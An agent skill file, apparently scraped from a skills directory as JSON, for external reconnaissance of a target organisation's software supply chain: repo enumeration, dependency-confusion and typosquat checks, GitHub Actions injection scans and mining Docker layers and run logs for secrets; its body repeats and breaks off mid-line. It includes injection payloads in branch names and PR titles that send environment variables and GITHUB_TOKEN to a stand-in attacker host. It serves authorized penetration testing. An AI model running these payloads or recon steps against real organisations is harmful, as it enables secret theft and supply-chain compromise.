[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6PZATNA8RP411ZP5C9DZY2E":3,"skill-same:01M6PZATNA8RP411ZP5C9DZY2E":82},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":56,"commitSha":57,"skillDirectory":58,"forksCount":13,"repositoryHtmlUrl":59,"repositoryHomepageUrl":6,"ownerHtmlUrl":60,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":61,"install":62,"resources":75},"01M6PZATNA8RP411ZP5C9DZY2E","supply-chain-attack-recon",null,"External recon for software supply-chain attack surface","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fsupply-chain-attack-recon\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"supply chain attack recon","supply","recon","chain","supply chain","community","for","relevant","software","attack surface","testing","Mandiant","snyk","CISA","dependency-confusion","supply-chain","actions","research","security","github","2026-11-10 10:12:30",false,"---\nname: supply-chain-attack-recon\ndescription: External recon for software supply-chain attack surface\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: alex-birsan-dependency-confusion, supply-chain-research, github-actions-security,\n  cisa-advisories, mandiant-tag, github-security-blog, snyk-research\nreport_count: 12\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## When to use\n\nTrigger when:\n- Target has a public GitHub organization (find via OSINT)\n- JS bundles reference internal-looking package names (`@target-internal\u002F...`, `target-utils`, `target-shared`)\n- Build logs, SBOMs, or `package-lock.json` files are publicly accessible\n- Target uses CI\u002FCD that's partially public (GitHub Actions, GitLab CI, Bitrise)\n- Docker images on Docker Hub\u002FGHCR\u002FQuay belong to target org\n- Findings include `npmrc`\u002F`pip.conf`\u002F`gradle.properties` with internal registry URLs\n- `.github\u002Fworkflows\u002F*.yml` files reference internal tooling\n\nDo NOT use for:\n- Internal-network artifact registries (out of scope per external boundary)\n- Actually publishing typosquats \u002F dep-confusion packages without explicit OK\n- Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)\n\n---\n\n## The supply-chain attack surface map\n\n```\nTarget Org\n├── Public GitHub Org → workflow files → secrets exfil opportunities\n├── Internal package names in JS\u002FAndroid bundles → dependency confusion\n├── Docker images on public registries → secrets in layers, RCE on pull\n├── SBOM \u002F artifact metadata → exact dep versions for known-vuln chaining\n├── npmrc \u002F pip.conf in repos → internal registry URL disclosure\n├── External package dependencies → typosquat name candidates\n└── Build\u002Frelease pipelines → injection if pull_request_target etc.\n```\n\n---\n\n## Step 1 — GitHub org discovery\n\n```bash\nTARGET=\"\u003Cbrand>\"  # set to target brand name\n\n# Direct guesses\nfor guess in $TARGET \"${TARGET}-tech\" \"${TARGET}corp\" \"${TARGET}-io\" \"${TARGET}-eng\"; do\n  curl -sI \"https:\u002F\u002Fgithub.com\u002F$guess\" | grep -E \"HTTP|status\" | head -1\ndone\n\n# Via WHOIS \u002F email-domain → GitHub search\ngh search users --owner-affiliations=organization --query \"$TARGET\" --limit 10\n\n# Via employees → reverse from social media + GitHub profile\n# Many employees list their employer org on their GitHub profile\n```\n\n---\n\n## Step 2 — Enumerate public repos for sensitive artifacts\n\n```bash\nORG=\"targetorg\"\n\n# List public repos\ngh repo list \"$ORG\" --limit 100 --json name,description,visibility,defaultBranchRef\n\n# Look for high-signal repo names\ngh repo list \"$ORG\" --limit 100 --json name | jq -r '.[].name' | grep -iE \"internal|infra|deploy|config|secret|setup|sdk|api\"\n\n# Clone all (small org) or selectively\ngh repo clone \"$ORG\u002F$repo_name\"\n```\n\n---\n\n## Step 3 — Internal package-name discovery\n\n### From JS bundles\n\n```bash\n# JS bundles are the easiest source of internal npm names\ncurl -sk https:\u002F\u002Ftarget.com\u002Fmain.js | grep -oE '@[a-z-]+\u002F[a-z-]+' | sort -u\ncurl -sk https:\u002F\u002Ftarget.com\u002Fmain.js | grep -oE 'require\\(\"[^\"]+\"\\)' | sort -u\n\n# Look for scoped names that are NOT public on npm\nfor pkg in @target\u002Futils @target-internal\u002Fapi @companybrand\u002Fsdk; do\n  status=$(curl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$pkg\" | head -1 | awk '{print $2}')\n  echo \"  $pkg → $status\"\n  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE\ndone\n```\n\n### From GitHub repo package.json files\n\n```bash\n# Public repos with package.json that reference internal scopes\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  pkg=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002Fpackage.json\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull)\n  echo \"$pkg\" | jq -r '.dependencies \u002F\u002F {} | keys[]' 2>\u002Fdev\u002Fnull | grep -E '^@[a-z-]+\u002F'\ndone | sort -u\n```\n\n### From Python projects\n\n```bash\n# Internal pip package names\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002Frequirements.txt\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull\ndone | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'\n```\n\n---\n\n## Step 4 — Dependency-confusion vulnerability check\n\nFor each internal-looking package name discovered:\n\n```bash\nNAME=\"@target-internal\u002Futils\"   # example\n\n# npm check\ncurl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$NAME\" | head -1\n# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE\n\n# pypi check (no scopes, just name)\nNAME=\"target_utils\"\ncurl -sI \"https:\u002F\u002Fpypi.org\u002Fproject\u002F$NAME\u002F\" | head -1\n# 404 → name is registerable\n\n# rubygems\ncurl -sI \"https:\u002F\u002Frubygems.org\u002Fapi\u002Fv1\u002Fgems\u002F$NAME.json\" | head -1\n\n# Go modules — slightly different, since module names are URLs\n# Check if module path is reachable\ncurl -sI \"https:\u002F\u002Fproxy.golang.org\u002Fgithub.com\u002F$ORG\u002F$NAME\u002F@latest\" | head -1\n```\n\n**Severity calibration:** Just because a name is unclaimed doesn't mean it's exploitable. You also need:\n1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)\n2. OR evidence the target's package manager is configured insecurely (e.g., `.npmrc` without `@scope:registry=` mapping)\n3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)\n\nA 404 on registry without supporting context is INFORMATIONAL only.\n\n---\n\n## Step 5 — Typosquat candidates (around external dependencies)\n\nFor each external public dependency the target uses:\n\n```bash\n# Common typosquat patterns:\n# Original: \"react-router-dom\"\n# Typos: \n#   \"react-router-doms\" (extra s)\n#   \"react-routter-dom\" (double t)\n#   \"react-rotuer-dom\" (transposed)\n#   \"react--router-dom\" (double dash)\n#   \"react-router-dorn\" (m→rn)\n#   \"reactrouterdom\" (no dashes)\n\n# Generate candidates\npython3 -c \"\nimport sys\nname='react-router-dom'\nfor i in range(len(name)):\n    print(name[:i] + name[i+1:])   # delete\n    if i \u003C len(name)-1:\n        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose\n\"\n\n# Check which candidates are UNCLAIMED on the registry\nfor candidate in ...; do\n  status=$(curl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$candidate\" | head -1 | awk '{print $2}')\n  [ \"$status\" = \"404\" ] && echo \"  UNCLAIMED: $candidate\"\ndone\n```\n\n**⚠ EXTERNAL-OFFENSIVE NOTE:** publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.\n\n---\n\n## Step 6 — GitHub Actions workflow injection scan\n\nFor each public repo with `.github\u002Fworkflows\u002F`:\n\n```bash\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  workflows=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002F.github\u002Fworkflows\" --jq '.[].name' 2>\u002Fdev\u002Fnull)\n  for wf in $workflows; do\n    content=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002F.github\u002Fworkflows\u002F$wf\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull)\n    echo \"=== $repo\u002F$wf ===\"\n    \n    # High-risk patterns:\n    # 1. pull_request_target (runs with secrets on PR from forks)\n    echo \"$content\" | grep -E 'pull_request_target'\n    \n    # 2. Untrusted context interpolation\n    echo \"$content\" | grep -E '\\$\\{\\{[^}]*github\\.(event|head_ref|pull_request)[^}]*\\}\\}'\n    \n    # 3. ${{ github.event.* }} into shell run blocks\n    echo \"$content\" | grep -B1 -A2 'run:' | grep -E '\\$\\{\\{ ?github\\.event\\.'\n    \n    # 4. checkout of PR head with elevated perms\n    echo \"$content\" | grep -E 'ref:.*pull_request|head_ref'\n    \n    # 5. Self-hosted runner without isolation\n    echo \"$content\" | grep -E 'runs-on:.*self-hosted'\n\n    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@\u003C40-char sha>)\n    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions\u002Fchanged-files).\n    echo \"$content\" | grep -E 'uses: *[^ ]+\u002F[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\\b' | grep -v '@[0-9a-f]\\{40\\}'\n  done\ndone\n```\n\n### Injection patterns to flag (severity guide)\n\n| Pattern | Severity |\n|---|---|\n| `pull_request_target` + `actions\u002Fcheckout` with `ref: pull_request.head.sha` + uses repo secrets | **Critical** — RCE on runner with org secrets |\n| `${{ github.event.pull_request.title }}` interpolated into shell | **Critical** — script injection via PR title |\n| Third-party action pinned to a mutable tag (`uses: org\u002Frepo@v1` \u002F `@main`) instead of a commit SHA | **High** — repointable supply-chain vector (see case #9) |\n| Self-hosted runner reachable from public repo workflows | **High** — persistent attacker pivot |\n| Issue-comment-triggered workflow that runs `gh` with token | **High** |\n| Workflow downloads from URL that target controls | **Medium** |\n\n### GitHub Actions context injection sinks (branch name, PR title, issue body)\n\nUntrusted context flowing from PR metadata into `run:` blocks is a classic injection vector. Test payloads:\n\n```bash\n# Malicious branch name (test in a fork PR):\ngit checkout -b 'feat\u002Fx\"; curl https:\u002F\u002Fattacker\u002F?d=$(env | base64);\"'\ngit push origin 'feat\u002Fx\"; curl https:\u002F\u002Fattacker\u002F?d=$(env | base64);\"'\n\n# Malicious PR title (create a test PR with this title):\nPR_TITLE='x\"; curl https:\u002F\u002Fattacker\u002F?d=$(echo $GITHUB_TOKEN | base64);\"'\n\n# Malicious issue body:\nISSUE_BODY='x\"; curl https:\u002F\u002Fattacker\u002F?leak=$(git config user.name);\"'\n\n# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.\n```\n\n### Public GitHub Actions run logs (leaks secrets)\n\nActions logs are public by default on public repos. Look for:\n\n```bash\n# List all Action runs for a repo\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'\n\n# Fetch logs from a run\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns\u002F\u003Cid>\u002Flogs --jq '.logs' | base64 -d\n\n# Search logs for common leakage patterns\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns\u002F\u003Cid>\u002Flogs | grep -iE 'token|key|secret|password|credential|aws_'\n```\n\nLeaked secrets in logs = direct credential exfil; severity depends on the token type (GitHub PAT, npm token, AWS key, etc.).\n\n### Static detection of Actions injection sinks with zizmor\n\nFor high-confidence automated flagging, run the `zizmor` analyzer on all workflow files:\n\n```bash\n# Install zizmor (Rust-based, from https:\u002F\u002Fgithub.com\u002Fwoodruffw\u002Fzizmor)\ncargo install zizmor\n\n# Scan all workflows\nzizmor .github\u002Fworkflows\u002F*.yml\n\n# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.\n# Sort findings by risk tier\n```\n\nZizmor saves manual regex work and catches edge cases (e.g., indirect context interpolation via variable references).\n\n---\n\n## Step 7 — Docker \u002F container image registry mining\n\n```bash\n# Docker Hub\ncurl -s \"https:\u002F\u002Fhub.docker.com\u002Fv2\u002Frepositories\u002F$ORG\u002F?page_size=100\" | jq -r '.results[].name'\n\n# GHCR (GitHub Container Registry) — public images visible in repo packages tab\ngh api \"users\u002F$ORG\u002Fpackages?package_type=container\" 2>\u002Fdev\u002Fnull\ngh api \"orgs\u002F$ORG\u002Fpackages?package_type=container\" 2>\u002Fdev\u002Fnull\n\n# For each image, list tags\nfor img in image1 image2; do\n  curl -s \"https:\u002F\u002Fhub.docker.com\u002Fv2\u002Frepositories\u002F$ORG\u002F$img\u002Ftags?page_size=20\" | jq -r '.results[].name'\ndone\n\n# Pull and inspect layers\ndocker pull \"$ORG\u002F$img:latest\"\ndocker history --no-trunc \"$ORG\u002F$img:latest\"\n\n# Mine layers for secrets\ndocker save \"$ORG\u002F$img:latest\" -o \u002Ftmp\u002Fimage.tar\nmkdir -p \u002Ftmp\u002Fimg && tar -xf \u002Ftmp\u002Fimage.tar -C \u002Ftmp\u002Fimg\nfind \u002Ftmp\u002Fimg -name \"*.tar*\" -exec tar -xf {} -C \u002Ftmp\u002Fimg\u002Fextracted \\;\n# Then run gitleaks \u002F trufflehog over extracted filesystem\ntrufflehog filesystem \u002Ftmp\u002Fimg\u002Fextracted --no-update\n```\n\n---\n\n## Step 8 — SBOM \u002F artifact metadata leakage\n\n```bash\n# Look for SBOMs published as releases (SPDX, CycloneDX format)\ngh api \"repos\u002F$ORG\u002F$REPO\u002Freleases\" --jq '.[] | .assets[] | select(.name | test(\"sbom|cyclonedx|spdx\"; \"i\")) | .browser_download_url'\n\n# JSON dependency lockfiles in releases\ngh api \"repos\u002F$ORG\u002F$REPO\u002Freleases\" --jq '.[] | .assets[] | select(.name | test(\"lock|deps\"; \"i\")) | .browser_download_url'\n\n# Exact-version-pinned deps → known-CVE chaining\n# Compare versions to nuclei nvd templates or osv.dev for known vulns\ncurl -s \"https:\u002F\u002Fapi.osv.dev\u002Fv1\u002Fquery\" -d '{\"package\": {\"name\": \"lodash\", \"ecosystem\": \"npm\"}, \"version\": \"4.17.10\"}'\n```\n\n---\n\n## Step 9 — Internal registry URL leakage\n\n```bash\n# .npmrc patterns\ngrep -r \"registry=\" .                                            # in cloned repos\ngrep -r \"_authToken=\" .                                          # leaked npm token!\ngrep -r \"@.*registry=\" .                                          # scoped registry\n\n# pip config\ngrep -r \"extra-index-url\" .\ngrep -r \"index-url\" .\n\n# Gradle \u002F Maven\ngrep -rE \"(mavenCentral|maven\\s*\\{)\" .\ngrep -r \"url.*\\(.*nexus\" .\n\n# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable\n```\n\n---\n\n## Step 10 — npm\u002FPyPI organizational presence\n\n```bash\n# Some orgs maintain a public npm scope mirroring their brand\ncurl -s \"https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Fv1\u002Fsearch?text=scope:$ORG&size=50\" | jq '.objects[].package.name'\n\n# Public PyPI presence\ncurl -s \"https:\u002F\u002Fpypi.org\u002Fsimple\u002F\" | grep \"$ORG\" | head -20\n\n# Check if scope is taken — if it's NOT, an attacker could register\n# (relevant for any internal package using that scope)\ncurl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Forg\u002F$ORG\"\n```\n\n---\n\n## Step 11 — Frontend and third-party dependency checks\n\n### Compromised CDN detection (polyfill.io, etc.)\n\nKnown-compromised CDNs and analytics services have been weaponized. Check target's public HTML\u002FJS:\n\n```bash\n# Detect usage of polyfill.io and similar historically-compromised services\ncurl -s https:\u002F\u002Ftarget.com | grep -i polyfill\ncurl -s https:\u002F\u002Ftarget.com | grep -iE '(polyfill\\.io|cdn\\.jsdelivr\\.net.*polyfill|babel\\.min\\.js)'\n\n# Check JavaScript bundles\nfor bundle in public\u002F*.js main.*.js app.*.js; do\n  grep -i polyfill \"$bundle\" && echo \"FOUND: $bundle\"\ndone\n```\n\nReference: polyfill.io was compromised in 2024 to serve malicious payloads. Presence = supply-chain risk.\n\n---\n\n## Tooling\n\n| Tool | Purpose |\n|---|---|\n| **`trufflehog`** | Filesystem\u002Fgit\u002Fdocker secret scan |\n| **`gitleaks`** | Git history secret scan |\n| **`dependency-confusion`** (Confused) | npm scope\u002FPyPI checks |\n| **`packj`** | Package risk score (PyPI\u002Fnpm\u002FRubyGems) |\n| **`Lift \u002F Snyk vuln-db`** | Known CVE lookup by package version |\n| **`actionlint`** | GitHub Actions static analyzer |\n| **`zizmor`** | GitHub Actions injection & security antipattern detection |\n| **`OSSGadget`** | Microsoft's package metadata toolkit |\n| **`semgrep`** + supply-chain rules | Workflow injection detection |\n| **`osv-scanner`** | Match versions to known vulns |\n\n---\n\n\n## Contents\n\n- [Severity scoring guidance](references\u002Fdetails.md)\n- [Anti-patterns](references\u002Fdetails.md)\n- [What constitutes a deliverable finding](references\u002Fdetails.md)\n- [Bridge to neighboring skills](references\u002Fdetails.md)\n- [External-only boundary check](references\u002Fdetails.md)\n- [Real-world references](references\u002Fdetails.md)\n- [Disclosed-case catalogue (citations)](references\u002Fdetails.md)\n- [Related Skills & Chains](references\u002Fdetails.md)\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## When to use\n\nTrigger when:\n- Target has a public GitHub organization (find via OSINT)\n- JS bundles reference internal-looking package names (`@target-internal\u002F...`, `target-utils`, `target-shared`)\n- Build logs, SBOMs, or `package-lock.json` files are publicly accessible\n- Target uses CI\u002FCD that's partially public (GitHub Actions, GitLab CI, Bitrise)\n- Docker images on Docker Hub\u002FGHCR\u002FQuay belong to target org\n- Findings include `npmrc`\u002F`pip.conf`\u002F`gradle.properties` with internal registry URLs\n- `.github\u002Fworkflows\u002F*.yml` files reference internal tooling\n\nDo NOT use for:\n- Internal-network artifact registries (out of scope per external boundary)\n- Actually publishing typosquats \u002F dep-confusion packages without explicit OK\n- Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)\n\n---\n\n## The supply-chain attack surface map\n\n```\nTarget Org\n├── Public GitHub Org → workflow files → secrets exfil opportunities\n├── Internal package names in JS\u002FAndroid bundles → dependency confusion\n├── Docker images on public registries → secrets in layers, RCE on pull\n├── SBOM \u002F artifact metadata → exact dep versions for known-vuln chaining\n├── npmrc \u002F pip.conf in repos → internal registry URL disclosure\n├── External package dependencies → typosquat name candidates\n└── Build\u002Frelease pipelines → injection if pull_request_target etc.\n```\n\n---\n\n## Step 1 — GitHub org discovery\n\n```bash\nTARGET=\"\u003Cbrand>\"  # set to target brand name\n\n# Direct guesses\nfor guess in $TARGET \"${TARGET}-tech\" \"${TARGET}corp\" \"${TARGET}-io\" \"${TARGET}-eng\"; do\n  curl -sI \"https:\u002F\u002Fgithub.com\u002F$guess\" | grep -E \"HTTP|status\" | head -1\ndone\n\n# Via WHOIS \u002F email-domain → GitHub search\ngh search users --owner-affiliations=organization --query \"$TARGET\" --limit 10\n\n# Via employees → reverse from social media + GitHub profile\n# Many employees list their employer org on their GitHub profile\n```\n\n---\n\n## Step 2 — Enumerate public repos for sensitive artifacts\n\n```bash\nORG=\"targetorg\"\n\n# List public repos\ngh repo list \"$ORG\" --limit 100 --json name,description,visibility,defaultBranchRef\n\n# Look for high-signal repo names\ngh repo list \"$ORG\" --limit 100 --json name | jq -r '.[].name' | grep -iE \"internal|infra|deploy|config|secret|setup|sdk|api\"\n\n# Clone all (small org) or selectively\ngh repo clone \"$ORG\u002F$repo_name\"\n```\n\n---\n\n## Step 3 — Internal package-name discovery\n\n### From JS bundles\n\n```bash\n# JS bundles are the easiest source of internal npm names\ncurl -sk https:\u002F\u002Ftarget.com\u002Fmain.js | grep -oE '@[a-z-]+\u002F[a-z-]+' | sort -u\ncurl -sk https:\u002F\u002Ftarget.com\u002Fmain.js | grep -oE 'require\\(\"[^\"]+\"\\)' | sort -u\n\n# Look for scoped names that are NOT public on npm\nfor pkg in @target\u002Futils @target-internal\u002Fapi @companybrand\u002Fsdk; do\n  status=$(curl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$pkg\" | head -1 | awk '{print $2}')\n  echo \"  $pkg → $status\"\n  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE\ndone\n```\n\n### From GitHub repo package.json files\n\n```bash\n# Public repos with package.json that reference internal scopes\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  pkg=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002Fpackage.json\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull)\n  echo \"$pkg\" | jq -r '.dependencies \u002F\u002F {} | keys[]' 2>\u002Fdev\u002Fnull | grep -E '^@[a-z-]+\u002F'\ndone | sort -u\n```\n\n### From Python projects\n\n```bash\n# Internal pip package names\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002Frequirements.txt\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull\ndone | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'\n```\n\n---\n\n## Step 4 — Dependency-confusion vulnerability check\n\nFor each internal-looking package name discovered:\n\n```bash\nNAME=\"@target-internal\u002Futils\"   # example\n\n# npm check\ncurl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$NAME\" | head -1\n# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE\n\n# pypi check (no scopes, just name)\nNAME=\"target_utils\"\ncurl -sI \"https:\u002F\u002Fpypi.org\u002Fproject\u002F$NAME\u002F\" | head -1\n# 404 → name is registerable\n\n# rubygems\ncurl -sI \"https:\u002F\u002Frubygems.org\u002Fapi\u002Fv1\u002Fgems\u002F$NAME.json\" | head -1\n\n# Go modules — slightly different, since module names are URLs\n# Check if module path is reachable\ncurl -sI \"https:\u002F\u002Fproxy.golang.org\u002Fgithub.com\u002F$ORG\u002F$NAME\u002F@latest\" | head -1\n```\n\n**Severity calibration:** Just because a name is unclaimed doesn't mean it's exploitable. You also need:\n1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)\n2. OR evidence the target's package manager is configured insecurely (e.g., `.npmrc` without `@scope:registry=` mapping)\n3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)\n\nA 404 on registry without supporting context is INFORMATIONAL only.\n\n---\n\n## Step 5 — Typosquat candidates (around external dependencies)\n\nFor each external public dependency the target uses:\n\n```bash\n# Common typosquat patterns:\n# Original: \"react-router-dom\"\n# Typos: \n#   \"react-router-doms\" (extra s)\n#   \"react-routter-dom\" (double t)\n#   \"react-rotuer-dom\" (transposed)\n#   \"react--router-dom\" (double dash)\n#   \"react-router-dorn\" (m→rn)\n#   \"reactrouterdom\" (no dashes)\n\n# Generate candidates\npython3 -c \"\nimport sys\nname='react-router-dom'\nfor i in range(len(name)):\n    print(name[:i] + name[i+1:])   # delete\n    if i \u003C len(name)-1:\n        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose\n\"\n\n# Check which candidates are UNCLAIMED on the registry\nfor candidate in ...; do\n  status=$(curl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$candidate\" | head -1 | awk '{print $2}')\n  [ \"$status\" = \"404\" ] && echo \"  UNCLAIMED: $candidate\"\ndone\n```\n\n**⚠ EXTERNAL-OFFENSIVE NOTE:** publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.\n\n---\n\n## Step 6 — GitHub Actions workflow injection scan\n\nFor each public repo with `.github\u002Fworkflows\u002F`:\n\n```bash\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  workflows=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002F.github\u002Fworkflows\" --jq '.[].name' 2>\u002Fdev\u002Fnull)\n  for wf in $workflows; do\n    content=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002F.github\u002Fworkflows\u002F$wf\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull)\n    echo \"=== $repo\u002F$wf ===\"\n    \n    # High-risk patterns:\n    # 1. pull_request_target (runs with secrets on PR from forks)\n    echo \"$content\" | grep -E 'pull_request_target'\n    \n    # 2. Untrusted context interpolation\n    echo \"$content\" | grep -E '\\$\\{\\{[^}]*github\\.(event|head_ref|pull_request)[^}]*\\}\\}'\n    \n    # 3. ${{ github.event.* }} into shell run blocks\n    echo \"$content\" | grep -B1 -A2 'run:' | grep -E '\\$\\{\\{ ?github\\.event\\.'\n    \n    # 4. checkout of PR head with elevated perms\n    echo \"$content\" | grep -E 'ref:.*pull_request|head_ref'\n    \n    # 5. Self-hosted runner without isolation\n    echo \"$content\" | grep -E 'runs-on:.*self-hosted'\n\n    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@\u003C40-char sha>)\n    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions\u002Fchanged-files).\n    echo \"$content\" | grep -E 'uses: *[^ ]+\u002F[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\\b' | grep -v '@[0-9a-f]\\{40\\}'\n  done\ndone\n```\n\n### Injection patterns to flag (severity guide)\n\n| Pattern | Severity |\n|---|---|\n| `pull_request_target` + `actions\u002Fcheckout` with `ref: pull_request.head.sha` + uses repo secrets | **Critical** — RCE on runner with org secrets |\n| `${{ github.event.pull_request.title }}` interpolated into shell | **Critical** — script injection via PR title |\n| Third-party action pinned to a mutable tag (`uses: org\u002Frepo@v1` \u002F `@main`) instead of a commit SHA | **High** — repointable supply-chain vector (see case #9) |\n| Self-hosted runner reachable from public repo workflows | **High** — persistent attacker pivot |\n| Issue-comment-triggered workflow that runs `gh` with token | **High** |\n| Workflow downloads from URL that target controls | **Medium** |\n\n### GitHub Actions context injection sinks (branch name, PR title, issue body)\n\nUntrusted context flowing from PR metadata into `run:` blocks is a classic injection vector. Test payloads:\n\n```bash\n# Malicious branch name (test in a fork PR):\ngit checkout -b 'feat\u002Fx\"; curl https:\u002F\u002Fattacker\u002F?d=$(env | base64);\"'\ngit push origin 'feat\u002Fx\"; curl https:\u002F\u002Fattacker\u002F?d=$(env | base64);\"'\n\n# Malicious PR title (create a test PR with this title):\nPR_TITLE='x\"; curl https:\u002F\u002Fattacker\u002F?d=$(echo $GITHUB_TOKEN | base64);\"'\n\n# Malicious issue 